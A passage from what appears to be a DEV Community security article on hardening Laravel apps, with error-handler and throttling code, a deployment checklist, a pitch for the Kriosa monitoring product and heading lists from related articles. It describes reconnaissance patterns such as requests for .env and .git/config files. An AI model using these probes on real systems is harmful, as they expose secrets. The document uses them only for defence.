Options -Indexes

Custom error pages that reveal nothing:

// app/Exceptions/Handler.php
public function render($request, Throwable $exception)
{
    if (app()->environment('production')) {
        if ($this->isHttpException($exception)) {
            return response()->view(
                'errors.' . $exception->getStatusCode(),
                [],
                $exception->getStatusCode()
            );
        }
        return response()->view('errors.500', [], 500);
    }

    return parent::render($request, $exception);
}

Rate limit sensitive routes:

// routes/web.php
Route::middleware(['throttle:5,1'])->group(function () {
    Route::post('/login', [AuthController::class, 'login']);
    Route::post('/admin/login', [AdminController::class, 'login']);
});

5 attempts per minute. After that, Laravel applies throttling and returns a 429 response until the limit window resets.

The Deployment Checklist

Run this after every deployment:

APP_DEBUG=false confirmed in production
APP_ENV=production confirmed
.env file not accessible via browser
.git directory not in web root or blocked at server level
Telescope, Horizon, Debugbar behind authentication or IP restriction
Directory listing disabled
Technology headers removed
No backup or temporary files in public directories
Admin routes rate limited
Custom error pages returning generic messages

Where Kriosa Fits

Security configuration reduces your attack surface, but it does not stop attackers from trying. Every public application receives automated scanning sooner or later.

Reconnaissance generates distinctive traffic patterns that differ from normal user behavior.

Rapid sequential requests to non-existent paths. Requests for known sensitive file locations like .env, .git/config, and backup extensions. Requests with scanner user agent strings. Unusual probing patterns against admin route locations.

These patterns are exactly what Kriosa's ML engine detects flagging reconnaissance activity in your XAI dashboard before it turns into exploitation.

You cannot always prevent an attacker from probing your app. You can prevent your app from giving useful answers. And you can know the moment probing starts.

Configuration closes the information gaps. Kriosa watches for the probing behavior.

Both layers together.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php . Kriosa documentation

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: This article — how attackers enumerate your Laravel app and what to hide

DEV Community: Nchiminyi — Founder, Kriosa

PHP Type Juggling — When 0 Equals "admin"

The Two Comparison Operators

The Surprising Truth About PHP 7

The Magic Hash Vulnerability

Type Juggling in switch Statements

Type Juggling in in_array()

Type Juggling in JSON API Endpoints

hash_equals() — The Correct Token Comparison

The Safe Authentication Pattern

Type Juggling in Laravel

Auditing Your Codebase

The Type Juggling Checklist

Where Kriosa Fits

The Series So Far

Open Redirect Vulnerabilities in PHP and Laravel — When Your Own Domain Becomes the Attack

Mass Assignment in PHP and Laravel — When User Input Becomes More Than It Should

The Core Problem

Mass Assignment in Plain PHP

Mass Assignment in Laravel

Beyond Role Escalation — The Scenarios Developers Miss

The Three Layers of Protection

API Mass Assignment — The Most Dangerous Context

Auditing Your Existing Codebase

The Mass Assignment Checklist

Where Kriosa Fits

The Series So Far

IDOR in PHP and Laravel — When Changing One Number Exposes Someone Else's Data

What IDOR Actually Is

Why IDOR Is So Common

Where IDOR Appears in PHP Applications

The Vulnerable Code Pattern

Fix 1 — Ownership Check in the Query

Fix 2 — Scoped Queries

Fix 3 — Non-Sequential Identifiers

IDOR in File Downloads

IDOR in Laravel

API Endpoints and IDOR

The IDOR Prevention Checklist

Where Kriosa Fits

The Series So Far

Security Headers in PHP and Laravel — The Lines That Harden Every Response

What Security Headers Are

Header 1 — Content-Security-Policy

Header 2 — X-Frame-Options

Header 3 — X-Content-Type-Options

Header 4 — Strict-Transport-Security

Header 5 — Referrer-Policy

Header 6 — Permissions-Policy

Header 7 — What Happened to X-XSS-Protection?

Implementation in Plain PHP

Implementation in Laravel

Testing Your Security Headers

The Security Headers Checklist

Where Kriosa Fits

The Series So Far

Rate Limiting in Laravel and PHP — How to Stop Brute Force Before It Starts

What Brute Force Actually Is

Rate Limiting in Plain PHP

Rate Limiting by Multiple Factors

Progressive Delays

Rate Limiting in Laravel

What to Rate Limit

Responding to Rate Limit Violations

The Rate Limiting Checklist

Where Kriosa Fits

Session Security in PHP — What Most Developers Get Wrong

How PHP Sessions Work

Attack 1 — Session Hijacking

Attack 2 — Session Fixation

PHP Session Configuration A Production Baseline

Fixing Session Fixation — Session Regeneration

Cookie Security Attributes

Session Storage Security

Laravel Session Configuration

Session Regeneration in Laravel

Absolute Session Timeout

Secure Logout

The Session Security Checklist

Kriosa in Production Real Applications, Real Protection

Type Juggling in `in_array()`

`hash_equals()` — The Correct Token Comparison